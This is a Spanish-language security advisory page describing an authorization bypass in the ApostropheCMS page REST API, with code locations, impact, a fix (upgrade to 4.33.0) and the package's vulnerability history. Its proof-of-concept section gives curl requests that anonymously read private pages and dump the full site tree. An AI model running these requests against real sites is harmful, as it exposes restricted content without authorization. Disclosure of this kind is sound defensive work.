Media

ApostropheCMS: Omisión de autorización en la API REST de páginas

  • Publicada: 20.10.2026
  • Actualizado: 20.10.2026 21:36

Resumen

La API REST principal de páginas lee documentos de página completos con .permission(false) en getOne y en el volcado de árbol de all=1, omitiendo las comprobaciones de tipo de página para viewRole, visibility: private y visibility: loginRequired. Los visitantes no autenticados y los colaboradores con pocos privilegios pueden leer contenido de páginas no públicas y restringidas a administradores mediante _id/slug.

Detalles

packages/apostrophe/modules/@apostrophecms/page/index.js:

  • getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — sin umbral de viewRole, sin filtrado de visibility.
  • Controlador de all (L318–395): getRestQuery(req).permission(false) (L384–385) recorre cada tipo de página y devuelve la proyección que incluye visibility.
  • publicApiCheckAsync (L3044) solo verifica que publicApiProjection exista; no realiza ninguna autorización.
  • El control correcto se comporta de forma diferente: piece-type/index.js:getOne (L319–327) usa getRestQuery(req) sin .permission(false) y aplica viewRole.

PoC

bash
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
#         "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}

# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1"        # → 200, full tree

# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz"   # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"   # → 403

Impacto

Divulgación no autenticada de páginas visibility: private y loginRequired (documentos completos, no solo rutas) y de la estructura completa del sitio con metadatos de visibilidad/tipo; los colaboradores pueden leer tipos de página exclusivos para administradores y sus campos protegidos. Dado que los _id son enumerables y se filtran mediante all=1, el problema es sistémico.

Qué hacer

Actualice a ApostropheCMS versión 4.33.0 o posterior.

Como alternativa, elimine .permission(false) de getOne/all o vuelva a aplicar el umbral de viewRole del tipo más los mismos criterios de visibility/inicio de sesión requerido que utilizan las rutas de lista y autocompletado (replicando piece-type); configure publicApiCheck únicamente para verificar la presencia de configuración y agregue un paso de autorización explícito por cada verbo.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm apostrophe < 4.33.0 4.33.0

Referencias

Puntuación CVSS 5.3/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Debilidad (CWE)
CWE-863
Plataforma
npm
Paquete
apostrophe
Publicada
20.10.2026
Actualizado
20.10.2026 21:36

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-2j32-q6rx-h844 - CC BY 4.0

Historial de vulnerabilidades: apostrophe

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (27) en el archivo
Entradas en total
27
Primera → última
09.2020 10.2026
Sin corrección
4
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 8
  • Media 13
  • Baja 4

Divulgaciones por año

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 23
Gravedad:
  1. ApostropheCMS: Omisión de autorización en la API REST de páginas esta entrada
    Media · 5.3 CVE-2026-110904 < 4.33.0 4.33.0
  2. Alta · 7.3 CVE-2026-45011 = 4.29.0 sin corrección
  3. Crítica · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.